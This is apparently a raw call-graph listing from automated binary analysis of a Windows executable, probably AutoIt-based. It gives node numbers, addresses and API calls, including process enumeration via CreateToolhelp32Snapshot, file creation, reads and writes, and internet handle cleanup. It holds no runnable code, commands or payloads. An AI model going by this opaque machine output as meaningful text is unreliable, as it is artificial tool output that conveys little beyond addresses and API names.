API calls _RunAllParam 55149->55260 55154 140005700 107 API calls 55150->55154 55157 140010194 55151->55157 55159 14001021c 55154->55159 55160 1400391eb 55156->55160 55162 140010580 56 API calls 55157->55162 55163 140039477 std::exception_ptr::_Current_exception 55158->55163 55271 1400700a0 100 API calls 3 library calls 55158->55271 55159->55163 55164 140007af0 46 API calls 55159->55164 55160->55163 55166 140039209 55160->55166 55169 140007af0 46 API calls 55160->55169 55161->55144 55162->55137 55165 140007a40 _RunAllParam 46 API calls 55163->55165 55167 140010231 55164->55167 55168 140039584 55165->55168 55170 1400392d3 55166->55170 55262 140015e60 57 API calls 55166->55262 55167->55158 55174 140005700 107 API calls 55167->55174 55171 140007a40 _RunAllParam 46 API calls 55168->55171 55169->55166 55263 14008cdc0 120 API calls 2 library calls 55170->55263 55175 14003958e 55171->55175 55177 140010287 55174->55177 55272 140013ae0 46 API calls _RunAllParam 55175->55272 55176 14003930a 55176->55158 55180 140007a40 _RunAllParam 46 API calls 55176->55180 55177->55163 55181 140007af0 46 API calls 55177->55181 55182 14001029e 55180->55182 55181->55182 55183 1400102b8 55182->55183 55187 140039354 55182->55187 55186 140007a40 _RunAllParam 46 API calls 55183->55186 55184 140039294 55188 140012d80 57 API calls 55184->55188 55185 140039222 55185->55184 55195 140011400 57 API calls 55185->55195 55189 1400102c5 55186->55189 55190 140005700 107 API calls 55187->55190 55191 1400392a9 55188->55191 55196 1400393a7 55189->55196 55197 1400102e5 55189->55197 55192 140039387 55190->55192 55193 140007a40 _RunAllParam 46 API calls 55191->55193 55192->55163 55198 140007af0 46 API calls 55192->55198 55194 1400392b3 55193->55194 55199 140007a40 _RunAllParam 46 API calls 55194->55199 55200 140039266 55195->55200 55264 140061d70 46 API calls _RunAllParam 55196->55264 55202 1400393af 55197->55202 55209 1400102f3 55197->55209 55198->55189 55199->55170 55200->55184 55204 140011400 57 API calls 55200->55204 55265 140061d70 46 API calls _RunAllParam 55202->55265 55205 14003927a 55204->55205 55206 140007af0 46 API calls 55205->55206 55207 140039285 55206->55207 55208 140007af0 46 API calls 55207->55208 55208->55184 55209->55158 55209->55163 55210 1400393e4 55209->55210 55211 14001039a 55209->55211 55212 1400394be 55210->55212 55214 140007a40 _RunAllParam 46 API calls 55210->55214 55211->55212 55213 1400103a8 55211->55213 55215 140007a40 _RunAllParam 46 API calls 55212->55215 55216 140007a40 _RunAllParam 46 API calls 55213->55216 55217 1400393fc 55214->55217 55218 1400394db 55215->55218 55219 1400103b2 55216->55219 55221 140007a40 _RunAllParam 46 API calls 55217->55221 55268 140011370 57 API calls shared_ptr 55218->55268 55256 1400108a0 98 API calls 55219->55256 55224 140039413 55221->55224 55223 1400103d6 55225 1400394ff 55223->55225 55257 140011b10 98 API calls 55223->55257 55266 14008eb90 140 API calls 2 library calls 55224->55266 55269 140079bd0 98 API calls 55225->55269 55229 140039435 55235 140039447 55229->55235 55236 14003948e 55229->55236 55230 140039529 55230->55158 55270 140011370 57 API calls shared_ptr 55230->55270 55231 1400103eb 55231->55225 55232 1400103f3 55231->55232 55258 140011370 57 API calls shared_ptr 55232->55258 55239 140012d80 57 API calls 55235->55239 55237 140007af0 46 API calls 55236->55237 55240 14003949b 55237->55240 55238 140010404 std::exception_ptr::_Current_exception 55245 140007a40 _RunAllParam 46 API calls 55238->55245 55241 140039456 55239->55241 55242 140007af0 46 API calls 55240->55242 55243 140007a40 _RunAllParam 46 API calls 55241->55243 55244 1400394ad 55242->55244 55246 140039460 55243->55246 55267 140011370 57 API calls shared_ptr 55244->55267 55248 140010426 55245->55248 55249 140007a40 _RunAllParam 46 API calls 55246->55249 55250 140007a40 _RunAllParam 46 API calls 55248->55250 55249->55163 55251 140010430 55250->55251 55252 140007a40 _RunAllParam 46 API calls 55251->55252 55253 14001043d 55252->55253 55254 140007a40 _RunAllParam 46 API calls 55253->55254 55255 1400055c0 55254->55255 55256->55223 55257->55231 55258->55238 55259->55136 55261->55158 55262->55185 55263->55176 55264->55202 55265->55158 55266->55229 55267->55212 55268->55225 55269->55230 55270->55158 55271->55163 55273 140096800 55274 140062190 95 API calls 55273->55274 55275 14009683f 55274->55275 55276 1400038e0 105 API calls 55275->55276 55277 140096855 55276->55277 55278 14009687f 55277->55278 55279 140005700 107 API calls 55277->55279 55280 140012d80 57 API calls 55278->55280 55281 140096883 55278->55281 55279->55278 55280->55281 55282 140087a80 55283 140087a9e _flush 55282->55283 55284 14000fd50 shared_ptr 56 API calls 55283->55284 55285 140087abb 55284->55285 55286 14000fde0 shared_ptr 56 API calls 55285->55286 55287 140087ad8 CreateToolhelp32Snapshot Process32FirstW 55286->55287 55291 140087b04 55287->55291 55288 14001823c 45 API calls 55288->55291 55289 140062190 95 API calls 55289->55291 55290 1400107e0 shared_ptr 56 API calls 55290->55291 55291->55288 55291->55289 55291->55290 55292 140087b9c Process32NextW 55291->55292 55293 140016d8c 47 API calls 55291->55293 55292->55291 55294 140087bb1 FindCloseChangeNotification 55292->55294 55293->55291 55295 140012b40 57 API calls 55294->55295 55296 140087bd2 55295->55296 55297 140011400 57 API calls 55296->55297 55298 140087be8 55297->55298 55299 140007a40 _RunAllParam 46 API calls 55298->55299 55303 140087bf3 55299->55303 55300 140087c75 55301 1400024f0 std::exception_ptr::_Current_exception 45 API calls 55300->55301 55302 140087c94 std::exception_ptr::_Current_exception 55301->55302 55303->55300 55304 140012d80 57 API calls 55303->55304 55305 140011400 57 API calls 55303->55305 55306 140007a40 _RunAllParam 46 API calls 55303->55306 55304->55303 55305->55303 55306->55303 55307 14006a100 55308 1400402b0 5 API calls 55307->55308 55309 14006a10e 55308->55309 55310 14006a11a 55309->55310 55311 140007a40 _RunAllParam 46 API calls 55309->55311 55311->55310 55312 1400194c0 55313 1400194f2 55312->55313 55314 140019518 55312->55314 55372 14001eae4 45 API calls _errno 55313->55372 55316 140019526 55314->55316 55317 14001954c 55314->55317 55374 14001eae4 45 API calls _errno 55316->55374 55318 14001955b 55317->55318 55319 14001957e 55317->55319 55376 14001eae4 45 API calls _errno 55318->55376 55340 1400245b4 55319->55340 55320 1400194f7 55373 14001ea14 7 API calls 2 library calls 55320->55373 55325 14001952b 55375 14001ea14 7 API calls 2 library calls 55325->55375 55326 140019560 55377 14001ea14 7 API calls 2 library calls 55326->55377 55337 140019511 55341 14001f1bc _lock 45 API calls 55340->55341 55342 1400245cd 55341->55342 55343 14002465c 55342->55343 55348 14001f0d4 _lock 45 API calls 55342->55348 55354 140024649 55342->55354 55382 14001c44c 46 API calls _lock 55342->55382 55383 14001c4d4 LeaveCriticalSection LeaveCriticalSection _isindst 55342->55383 55345 14001d910 _getbuf 45 API calls 55343->55345 55347 140024669 55345->55347 55347->55354 55384 14001f83c InitializeCriticalSectionAndSpinCount 55347->55384 55348->55342 55351 140024694 55352 140024698 55351->55352 55353 1400246b6 EnterCriticalSection 55351->55353 55355 140017ec8 free 45 API calls 55352->55355 55353->55354 55381 14001f0bc LeaveCriticalSection 55354->55381 55355->55354 55372->55320 55373->55337 55374->55325 55375->55337 55376->55326 55377->55337 55382->55342 55383->55342 55384->55351 55527 140005600 55530 140013770 55527->55530 55529 14000560b 55539 140011220 55530->55539 55532 14001379f 55533 1400137bb 55532->55533 55534 1400395a0 55532->55534 55537 1400137c9 55532->55537 55533->55537 55546 140010a00 55533->55546 55552 1400700a0 100 API calls 3 library calls 55534->55552 55537->55529 55538 1400137ea 55538->55529 55540 140005700 107 API calls 55539->55540 55544 140011250 55540->55544 55541 140011273 55541->55532 55542 140007a40 _RunAllParam 46 API calls 55541->55542 55543 140039005 55542->55543 55543->55532 55544->55541 55545 140007a40 _RunAllParam 46 API calls 55544->55545 55545->55541 55547 140010a17 55546->55547 55548 140010a45 std::exception_ptr::_Current_exception 55546->55548 55547->55548 55549 140007a40 _RunAllParam 46 API calls 55547->55549 55548->55538 55550 140010a3c 55549->55550 55551 140007a40 _RunAllParam 46 API calls 55550->55551 55551->55548 55552->55537 55553 140005e42 55554 1400047b0 57 API calls 55553->55554 55555 140005e4f 55554->55555 55558 140007d40 55555->55558 55575 140007bf0 55558->55575 55561 140036450 55596 1400024b0 46 API calls _RunAllParam 55561->55596 55563 14003645a 55597 1400700a0 100 API calls 3 library calls 55563->55597 55564 140007dae 55564->55563 55568 140007df3 55564->55568 55566 140036474 55598 1400024b0 46 API calls _RunAllParam 55566->55598 55591 14000fb80 55568->55591 55576 140007c1b 55575->55576 55577 140034c70 55575->55577 55599 14000ffc0 55576->55599 55605 1400700a0 100 API calls 3 library calls 55577->55605 55580 140034c87 55606 1400700a0 100 API calls 3 library calls 55580->55606 55581 140007d13 55581->55561 55581->55564 55584 140005700 107 API calls 55589 140007c41 55584->55589 55585 140034cb5 55586 140007a40 _RunAllParam 46 API calls 55585->55586 55586->55581 55587 140007d15 55587->55581 55588 140007a40 _RunAllParam 46 API calls 55587->55588 55588->55581 55589->55580 55589->55581 55589->55584 55589->55585 55589->55587 55590 140007a40 _RunAllParam 46 API calls 55589->55590 55604 1400049b0 56 API calls 2 library calls 55589->55604 55590->55589 55592 140007a40 _RunAllParam 46 API calls 55591->55592 55593 14000fba7 55592->55593 55608 14000fc40 55593->55608 55595 14000fbdc 55597->55566 55601 14000ffe0 55599->55601 55600 14001000c 55600->55589 55601->55600 55607 1400700a0 100 API calls 3 library calls 55601->55607 55603 140033abb 55604->55589 55605->55580 55606->55585 55607->55603 55609 14000fc66 55608->55609 55610 140007a40 _RunAllParam 46 API calls 55609->55610 55611 14000fc72 55610->55611 55611->55595 55612 140038148 55613 1400047b0 57 API calls 55612->55613 55614 140038155 55613->55614 55617 140006080 55614->55617 55616 14003817d 55618 1400060c2 shared_ptr 55617->55618 55619 140016ed8 shared_ptr 56 API calls 55618->55619 55675 140006174 shared_ptr __initmbctable _RunAllParam std::exception_ptr::_Current_exception 55618->55675 55620 140006105 __initmbctable 55619->55620 55622 140016ed8 shared_ptr 56 API calls 55620->55622 55621 1400118e0 shared_ptr 56 API calls 55621->55675 55623 140006127 55622->55623 55624 1400071e7 std::exception_ptr::_Current_exception 55623->55624 55625 140006159 CharUpperBuffW 55623->55625 55623->55675 55827 140092530 139 API calls 2 library calls 55624->55827 55625->55675 55627 140037deb 55629 1400700a0 100 API calls 55629->55675 55630 140010580 56 API calls 55630->55675 55631 140036810 VariantClear 55631->55675 55632 140006add 55634 1400372e0 std::exception_ptr::_Current_exception 55632->55634 55635 140006b6b 55632->55635 55633 140005240 47 API calls 55633->55675 55817 140086310 46 API calls 55634->55817 55637 140016ed8 shared_ptr 56 API calls 55635->55637 55643 140006b74 55637->55643 55638 140013280 _RunAllParam 46 API calls 55638->55675 55639 140012600 56 API calls 55639->55675 55640 140016ed8 56 API calls shared_ptr 55640->55675 55641 140007a40 46 API calls _RunAllParam 55641->55675 55642 140013190 _RunAllParam 46 API calls 55642->55675 55648 140006bd3 55643->55648 55735 1400072e0 55643->55735 55651 140010a00 46 API calls 55648->55651 55656 140006be0 std::exception_ptr::_Current_exception 55648->55656 55649 1400621c0 56 API calls 55649->55675 55650 14000f9e0 57 API calls 55650->55675 55651->55648 55653 1400040d0 56 API calls 55653->55675 55654 140007a40 _RunAllParam 46 API calls 55662 140006ca2 55654->55662 55655 140016bb4 55 API calls _cinit 55655->55675 55657 140006c58 55656->55657 55659 140037391 VariantClear 55656->55659 55656->55662 55666 140006c99 55656->55666 55660 1400373bf 55657->55660 55665 140006c7c std::exception_ptr::_Current_exception 55657->55665 55670 140006c6a 55657->55670 55658 140005700 107 API calls 55658->55675 55659->55665 55667 140013280 _RunAllParam 46 API calls 55660->55667 55661 140007af0 46 API calls 55661->55675 55669 140006d0a std::exception_ptr::_Current_exception 55662->55669 55671 140007af0 46 API calls 55662->55671 55663 140006746 55663->55616 55664 140082f90 57 API calls 55664->55675 55665->55666 55668 140016ed8 shared_ptr 56 API calls 55665->55668 55666->55654 55666->55662 55667->55665 55668->55666 55674 140006d54 55669->55674 55676 140037686 VariantClear 55669->55676 55703 140006de2 std::exception_ptr::_Current_exception 55669->55703 55670->55665 55818 140059370 45 API calls std::exception_ptr::_Current_exception 55670->55818 55671->55669 55673 1400584b0 56 API calls 55673->55675 55677 1400376b8 55674->55677 55681 140006d66 55674->55681 55686 140006d78 std::exception_ptr::_Current_exception 55674->55686 55675->55621 55675->55624 55675->55629 55675->55630 55675->55631 55675->55632 55675->55633 55675->55634 55675->55638 55675->55639 55675->55640 55675->55641 55675->55642 55675->55649 55675->55650 55675->55653 55675->55655 55675->55658 55675->55661 55675->55663 55675->55664 55675->55673 55812 1400024b0 46 API calls _RunAllParam 55675->55812 55813 140010660 107 API calls _RunAllParam 55675->55813 55814 1400049b0 56 API calls 2 library calls 55675->55814 55815 140059370 45 API calls std::exception_ptr::_Current_exception 55675->55815 55816 140070950 56 API calls 55675->55816 55676->55686 55678 140013280 _RunAllParam 46 API calls 55677->55678 55678->55686 55679 140006e82 55684 140037814 55679->55684 55689 140006ea6 std::exception_ptr::_Current_exception 55679->55689 55694 140006e94 55679->55694 55680 1400377e4 VariantClear 55680->55689 55681->55686 55819 140059370 45 API calls std::exception_ptr::_Current_exception 55681->55819 55682 14003772a VariantClear 55682->55703 55683 140006dbe 55692 14003775a 55683->55692 55699 140006dd0 55683->55699 55683->55703 55688 140013280 _RunAllParam 46 API calls 55684->55688 55686->55682 55686->55683 55687 140006f0d std::exception_ptr::_Current_exception 55691 140005240 47 API calls 55687->55691 55702 140006f1a 55687->55702 55688->55689 55689->55687 55719 140006f87 std::exception_ptr::_Current_exception 55689->55719 55799 140005240 55689->55799 55691->55702 55693 140013280 _RunAllParam 46 API calls 55692->55693 55693->55703 55694->55689 55821 140059370 45 API calls std::exception_ptr::_Current_exception 55694->55821 55695 140037b31 std::exception_ptr::_Current_exception 55698 140037b51 VariantClear 55695->55698 55705 140007035 std::exception_ptr::_Current_exception 55695->55705 55697 14000700d 55700 140037b84 55697->55700 55697->55705 55713 140007021 55697->55713 55698->55705 55699->55703 55820 140059370 45 API calls std::exception_ptr::_Current_exception 55699->55820 55707 140013280 _RunAllParam 46 API calls 55700->55707 55701 140037bd1 std::exception_ptr::_Current_exception 55708 140037bf9 VariantClear 55701->55708 55714 14000708a std::exception_ptr::_Current_exception 55701->55714 55709 140006f63 55702->55709 55710 140037abd VariantClear 55702->55710 55702->55719 55703->55679 55703->55680 55703->55689 55705->55701 55706 140007062 55705->55706 55711 140037c31 55706->55711 55706->55714 55723 140007076 55706->55723 55707->55705 55708->55714 55717 140037aed 55709->55717 55709->55719 55725 140006f75 55709->55725 55710->55719 55715 140013280 _RunAllParam 46 API calls 55711->55715 55712 140037c84 std::exception_ptr::_Current_exception 55720 140037ca6 VariantClear 55712->55720 55733 1400070c9 std::exception_ptr::_Current_exception 55712->55733 55713->55705 55823 140059370 45 API calls std::exception_ptr::_Current_exception 55713->55823 55714->55712 55716 1400070a5 55714->55716 55715->55714 55722 140037cda 55716->55722 55728 1400070b7 55716->55728 55716->55733 55721 140013280 _RunAllParam 46 API calls 55717->55721 55719->55695 55719->55697 55720->55733 55721->55719 55724 140013280 _RunAllParam 46 API calls 55722->55724 55723->55714 55824 140059370 45 API calls std::exception_ptr::_Current_exception 55723->55824 55724->55733 55725->55719 55822 140059370 45 API calls std::exception_ptr::_Current_exception 55725->55822 55728->55733 55825 140059370 45 API calls std::exception_ptr::_Current_exception 55728->55825 55729 1400071b3 55729->55616 55731 140037d49 VariantClear 55731->55733 55732 140013280 _RunAllParam 46 API calls 55732->55733 55733->55729 55733->55731 55733->55732 55826 140059370 45 API calls std::exception_ptr::_Current_exception 55733->55826 55736 14003a850 55735->55736 55737 140007300 55735->55737 55965 1400700a0 100 API calls 3 library calls 55736->55965 55794 140007311 std::exception_ptr::_Current_exception 55737->55794 55937 140014250 55737->55937 55740 1400074cb 55741 1400075ee 55740->55741 55942 1400141e0 55740->55942 55741->55648 55744 140007373 PeekMessageW 55744->55794 55745 140001eb0 46 API calls 55745->55794 55747 14003a9a1 Sleep 55747->55794 55749 14000758e 55963 140001eb0 46 API calls _RunAllParam 55749->55963 55751 14003a9bf timeGetTime 55751->55794 55752 1400077bf 55753 14003b3c1 TranslateMessage DispatchMessageW GetMessageW 55752->55753 55753->55741 55753->55753 55756 14000771a PeekMessageW 55756->55794 55757 140058df0 56 API calls 55798 14000769e std::exception_ptr::_Current_exception 55757->55798 55759 140012600 56 API calls 55759->55794 55760 1400076fe TranslateMessage DispatchMessageA 55760->55756 55761 14003ae8d WaitForSingleObject 55766 14003aeae GetExitCodeProcess CloseHandle 55761->55766 55761->55794 55763 140082090 106 API calls 55763->55798 55764 140007676 Sleep 55768 14000768a timeGetTime 55764->55768 55764->55798 55765 140091ee0 230 API calls 55765->55794 55968 140001eb0 46 API calls _RunAllParam 55766->55968 55768->55798 55769 14003b220 Sleep 55771 14003b238 timeGetTime 55769->55771 55769->55798 55771->55798 55774 140007a40 46 API calls _RunAllParam 55774->55798 55775 14003b273 CloseHandle 55775->55798 55776 140076ad0 57 API calls 55776->55794 55779 14003b32a GetExitCodeProcess CloseHandle 55779->55798 55780 140076ad0 57 API calls 55780->55798 55782 14000fc40 46 API calls 55784 14003b3a1 Sleep 55782->55784 55783 140001d30 56 API calls shared_ptr 55783->55798 55784->55794 55786 140082f90 57 API calls 55786->55798 55787 140006080 230 API calls 55787->55794 55788 140007d40 107 API calls 55788->55794 55790 1400700a0 100 API calls 55790->55794 55791 140007a40 46 API calls _RunAllParam 55791->55794 55792 14003b00b VariantClear 55792->55794 55794->55740 55794->55744 55794->55745 55794->55747 55794->55749 55794->55751 55794->55756 55794->55759 55794->55760 55794->55761 55794->55764 55794->55765 55794->55769 55794->55776 55794->55787 55794->55788 55794->55790 55794->55791 55794->55792 55795 140013280 _RunAllParam 46 API calls 55794->55795 55794->55798 55828 1400077d0 55794->55828 55894 140005380 55794->55894 55926 140011790 55794->55926 55931 140011740 55794->55931 55964 1400077f0 155 API calls 2 library calls 55794->55964 55969 140094ba0 154 API calls _RunAllParam 55794->55969 55970 140059370 45 API calls std::exception_ptr::_Current_exception 55794->55970 55795->55794 55797 140091ee0 230 API calls 55797->55798 55798->55757 55798->55763 55798->55774 55798->55775 55798->55779 55798->55780 55798->55782 55798->55783 55798->55784 55798->55786 55798->55794 55798->55797 55966 140060860 57 API calls std::exception_ptr::_Current_exception 55798->55966 55967 140062d20 57 API calls std::exception_ptr::_Current_exception 55798->55967 55971 140085700 46 API calls 55798->55971 55972 140040590 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 55798->55972 55973 140001eb0 46 API calls _RunAllParam 55798->55973 55974 140050890 50 API calls shared_ptr 55798->55974 55975 1400673a0 46 API calls _RunAllParam 55798->55975 55800 14000524d 55799->55800 55808 1400052d5 std::exception_ptr::_Current_exception 55799->55808 55801 14000526b 55800->55801 55802 140005240 46 API calls 55800->55802 55803 140005240 46 API calls 55801->55803 55809 140005278 55801->55809 55802->55801 55803->55809 55804 1400052b1 55806 140005370 55804->55806 55804->55808 55810 1400052c3 55804->55810 55805 1400344ac VariantClear 55805->55808 55807 140013280 _RunAllParam 46 API calls 55806->55807 55807->55808 55808->55687 55809->55804 55809->55805 55809->55808 55810->55808 56013 140059370 45 API calls std::exception_ptr::_Current_exception 55810->56013 55813->55675 55814->55675 55815->55675 55816->55675 55817->55648 55818->55665 55819->55686 55820->55703 55821->55689 55822->55719 55823->55705 55824->55714 55825->55733 55826->55733 55827->55627 55829 1400077e4 55828->55829 55830 140039a60 55828->55830 55829->55794 55830->55829 55831 14000fd50 shared_ptr 56 API calls 55830->55831 55832 140039ac5 55831->55832 55834 140039ae5 Sleep 55832->55834 55835 140039c9c 55832->55835 55837 140039b0d 55832->55837 55833 14003a0e2 std::exception_ptr::_Current_exception 55838 140007a40 _RunAllParam 46 API calls 55833->55838 55834->55832 55834->55837 55836 140039ca5 std::exception_ptr::_Current_exception 55835->55836 55835->55837 55842 140007a40 _RunAllParam 46 API calls 55836->55842 55837->55833 55840 140007af0 46 API calls 55837->55840 55839 14003a118 55838->55839 55991 1400024b0 46 API calls _RunAllParam 55839->55991 55843 140039b6a 55840->55843 55845 140039cc4 55842->55845 55846 140062190 95 API calls 55843->55846 55984 1400024b0 46 API calls _RunAllParam 55845->55984 55848 140039b77 55846->55848 55849 1400107e0 shared_ptr 56 API calls 55848->55849 55850 140039b87 55849->55850 55851 140062190 95 API calls 55850->55851 55852 140039b94 55851->55852 55976 1400117b0 56 API calls 2 library calls 55852->55976 55854 140039ba4 55977 140076ad0 55854->55977 55857 140039cd2 55859 140001d30 shared_ptr 56 API calls 55857->55859 55858 140062190 95 API calls 55860 140039bf2 55858->55860 55861 140039d08 55859->55861 55862 140076ad0 57 API calls 55860->55862 55865 140082f90 57 API calls 55861->55865 55863 140039c21 55862->55863 55863->55857 55864 140039c29 55863->55864 55982 140082110 46 API calls _RunAllParam 55864->55982 55875 140039d37 std::exception_ptr::_Current_exception 55865->55875 55867 140039c3e std::exception_ptr::_Current_exception 55868 140007a40 _RunAllParam 46 API calls 55867->55868 55869 140039c63 55868->55869 55983 1400024b0 46 API calls _RunAllParam 55869->55983 55871 140039de9 55986 140082110 46 API calls _RunAllParam 55871->55986 55873 140039e05 55987 140082240 56 API calls 55873->55987 55875->55871 55876 140039ec5 55875->55876 55985 1400049b0 56 API calls 2 library calls 55875->55985 55988 1400700a0 100 API calls 3 library calls 55876->55988 55879 14003a01f 55989 140091ee0 254 API calls _RunAllParam 55879->55989 55881 14003a037 55884 140001d30 shared_ptr 56 API calls 55881->55884 55882 140007a40 _RunAllParam 46 API calls 55890 140039e26 std::exception_ptr::_Current_exception 55882->55890 55883 140007a40 _RunAllParam 46 API calls 55885 14003a0d8 55883->55885 55886 14003a057 55884->55886 55990 1400024b0 46 API calls _RunAllParam 55885->55990 55889 140010580 56 API calls 55886->55889 55887 140082f90 57 API calls 55887->55890 55892 140039ed6 std::exception_ptr::_Current_exception 55889->55892 55890->55879 55890->55882 55890->55887 55891 1400040d0 56 API calls 55890->55891 55893 140005700 107 API calls 55890->55893 55891->55890 55892->55883 55893->55890 55895 140005565 55894->55895 55896 1400053ad 55894->55896 55992 1400700a0 100 API calls 3 library calls 55895->55992 55897 14003a31f 55896->55897 55898 1400053ba 55896->55898 55993 1400700a0 100 API calls 3 library calls 55897->55993 55902 140005700 107 API calls 55898->55902 55917 140005539 std::exception_ptr::_Current_exception 55898->55917 55901 140005553 55901->55794 55904 1400053f9 55902->55904 55903 14003a337 55908 140007a40 _RunAllParam 46 API calls 55903->55908 55904->55903 55906 140005401 std::exception_ptr::_Current_exception 55904->55906 55909 140005448 55906->55909 55910 14003a379 VariantClear 55906->55910 55921 140005492 55906->55921 55907 14003a682 55908->55901 55913 14003a3a9 55909->55913 55914 14000546c std::exception_ptr::_Current_exception 55909->55914 55922 14000545a 55909->55922 55910->55914 55911 140005515 55916 14003a624 55911->55916 55911->55917 55923 140005527 55911->55923 55912 14003a5f0 VariantClear 55912->55917 55915 140013280 _RunAllParam 46 API calls 55913->55915 55920 140016ed8 shared_ptr 56 API calls 55914->55920 55914->55921 55915->55914 55918 140013280 _RunAllParam 46 API calls 55916->55918 55917->55901 55996 1400700a0 100 API calls 3 library calls 55917->55996 55918->55917 55919 14003a3f8 55919->55912 55919->55917 55920->55921 55921->55911 55921->55919 55922->55914 55994 140059370 45 API calls std::exception_ptr::_Current_exception 55922->55994 55923->55917 55995 140059370 45 API calls std::exception_ptr::_Current_exception 55923->55995 55927 1400117a1 55926->55927 55928 140031320 55926->55928 55927->55794 55929 14003136f 55928->55929 55930 140031349 TranslateAcceleratorW 55928->55930 55930->55927 55932 140031880 55931->55932 55935 14001174e 55931->55935 55932->55794 55933 1400318e3 IsDialogMessageW 55934 140011774 55933->55934 55933->55935 55934->55794 55935->55933 55935->55934 55997 14003ddf0 GetClassLongPtrW 55935->55997 55940 140014265 55937->55940 55938 14001426e 55938->55794 55939 140076ad0 57 API calls 55939->55940 55940->55938 55940->55939 55998 140082290 55940->55998 56007 140014220 55942->56007 55944 140007777 55944->55741 55947 140001c40 55944->55947 55946 1400141ee 55946->55944 56011 140059810 5 API calls _RunAllParam 55946->56011 55948 140001d30 shared_ptr 56 API calls 55947->55948 55949 140001c78 55948->55949 55950 14000f9e0 57 API calls 55949->55950 55951 140001c92 std::exception_ptr::_Current_exception 55950->55951 55952 140007a40 _RunAllParam 46 API calls 55951->55952 55953 140001cac 55952->55953 55954 140001d30 shared_ptr 56 API calls 55953->55954 55955 140001cc9 55954->55955 55956 14000f9e0 57 API calls 55955->55956 55961 140001ce3 std::exception_ptr::_Current_exception 55956->55961 55957 140001d0f 55958 140007a40 _RunAllParam 46 API calls 55957->55958 55960 140001d23 LockWindowUpdate DestroyWindow GetMessageW 55958->55960 55959 140076ad0 57 API calls 55959->55961 55960->55741 55960->55752 55961->55957 55961->55959 55962 140082290 254 API calls 55961->55962 55962->55961 55963->55740 55964->55794 55965->55794 55966->55798 55967->55798 55968->55798 55969->55794 55970->55794 55971->55798 55972->55798 55973->55798 55974->55798 55975->55798 55976->55854 55978 140001d30 shared_ptr 56 API calls 55977->55978 55979 140076af2 55978->55979 55980 140015cd0 57 API calls 55979->55980 55981 140039bd8 55980->55981 55981->55857 55981->55858 55982->55867 55985->55875 55986->55873 55987->55890 55988->55892 55989->55881 55992->55897 55993->55903 55994->55914 55995->55917 55996->55907 55999 1400822cf 55998->55999 56000 1400822c3 55998->56000 56002 1400072e0 254 API calls 55999->56002 56006 140082240 56 API calls 56000->56006 56003 1400822da 56002->56003 56004 140082302 56003->56004 56005 140010a00 46 API calls 56003->56005 56004->55940 56005->56003 56006->55999 56010 14001422d 56007->56010 56008 140014236 56008->55946 56010->56008 56012 14004ede0 InternetCloseHandle InternetCloseHandle 56010->56012 56011->55946 56013->55808 56014 140081bd0 56015 140012d80 57 API calls 56014->56015 56016 140081c04 56015->56016 56017 140016ed8 shared_ptr 56 API calls 56016->56017 56019 140081c83 56016->56019 56018 140081c21 56017->56018 56020 140081c2e 56018->56020 56087 1400133b0 57 API calls 2 library calls 56018->56087 56025 140081c68 56019->56025 56027 140081cb8 56019->56027 56067 14005a320 56019->56067 56051 140011960 56020->56051 56029 140081cdc 56027->56029 56030 140081d4d 56027->56030 56032 140016ed8 shared_ptr 56 API calls 56029->56032 56033 14000fd50 shared_ptr 56 API calls 56030->56033 56031 140081c56 56031->56025 56036 140058c80 std::exception_ptr::_Current_exception FindCloseChangeNotification 56031->56036 56034 140081ce4 56032->56034 56035 140081d57 56033->56035 56088 140050ab0 ReadFile SetFilePointerEx 56034->56088 56070 140080c50 56035->56070 56036->56025 56039 140081cf7 56047 140081cfb std::exception_ptr::_Current_exception 56039->56047 56089 140061f10 57 API calls 3 library calls 56039->56089 56043 140081d21 __initmbctable 56046 14000fc40 46 API calls 56043->56046 56044 140081d91 56045 14000fc40 46 API calls 56044->56045 56045->56047 56046->56047 56047->56025 56080 1400133f0 56047->56080 56052 140011973 56051->56052 56053 140032ab0 56051->56053 56055 1400134a0 56052->56055 56053->56052 56091 140061f90 95 API calls 3 library calls 56053->56091 56056 1400133f0 std::exception_ptr::_Current_exception FindCloseChangeNotification 56055->56056 56057 1400134bd 56056->56057 56092 140015ff0 56057->56092 56060 140031f00 56063 14001350d 56123 140015fc0 SetFilePointerEx SetFilePointerEx WriteFile 56063->56123 56066 140013515 56066->56019 56066->56031 56068 140050900 2 API calls 56067->56068 56069 14005a32e 56068->56069 56069->56027 56071 140080c5a 56070->56071 56072 140080c74 56070->56072 56071->56072 56073 140080c60 56071->56073 56148 140070b90 58 API calls 56072->56148 56075 140080c6d 56073->56075 56076 140080c66 56073->56076 56143 140080be0 56075->56143 56138 14007a9e0 56076->56138 56077 140080c6b 56077->56047 56090 140013120 57 API calls 2 library calls 56077->56090 56081 140013407 56080->56081 56082 14001341c 56080->56082 56084 140058c80 56081->56084 56082->56081 56083 140013422 FindCloseChangeNotification 56082->56083 56083->56081 56170 140013430 56084->56170 56087->56020 56088->56039 56089->56043 56090->56044 56091->56052 56093 140031c80 56092->56093 56094 14001600e CreateFileW 56092->56094 56095 1400134e7 56093->56095 56096 140031c86 CreateFileW 56093->56096 56094->56095 56095->56060 56100 140013530 56095->56100 56096->56095 56097 140031cbd 56096->56097 56098 140013630 2 API calls 56097->56098 56099 140031ccb 56098->56099 56099->56095 56102 140013541 _flush 56100->56102 56101 1400134f7 56101->56063 56116 140013630 56101->56116 56102->56101 56103 140013630 2 API calls 56102->56103 56107 1400135ab 56102->56107 56104 140013598 56103->56104 56124 140002670 56104->56124 56106 140013630 2 API calls 56106->56101 56107->56101 56108 140013630 2 API calls 56107->56108 56115 1400135e8 56107->56115 56109 140031e88 56108->56109 56130 140050900 56109->56130 56112 140016ed8 shared_ptr 56 API calls 56113 140031e9b 56112->56113 56114 140002670 2 API calls 56113->56114 56114->56115 56115->56106 56121 140013650 56116->56121 56117 140031550 56137 1400136e0 SetFilePointerEx 56117->56137 56118 1400136af SetFilePointerEx 56136 1400136e0 SetFilePointerEx 56118->56136 56121->56117 56121->56118 56122 140013680 56121->56122 56122->56063 56123->56066 56125 140002717 56124->56125 56129 140002697 56124->56129 56135 1400136e0 SetFilePointerEx 56125->56135 56126 1400026c3 56126->56107 56128 1400026df ReadFile 56128->56126 56128->56129 56129->56126 56129->56128 56131 140013630 2 API calls 56130->56131 56132 140050921 56131->56132 56133 140013630 2 API calls 56132->56133 56134 140031e90 56133->56134 56134->56112 56135->56129 56136->56122 56137->56122 56149 140011a60 56138->56149 56142 14007aa12 std::exception_ptr::_Current_exception 56142->56077 56144 140011a60 56 API calls 56143->56144 56145 140080c02 56144->56145 56146 14005a2a0 58 API calls 56145->56146 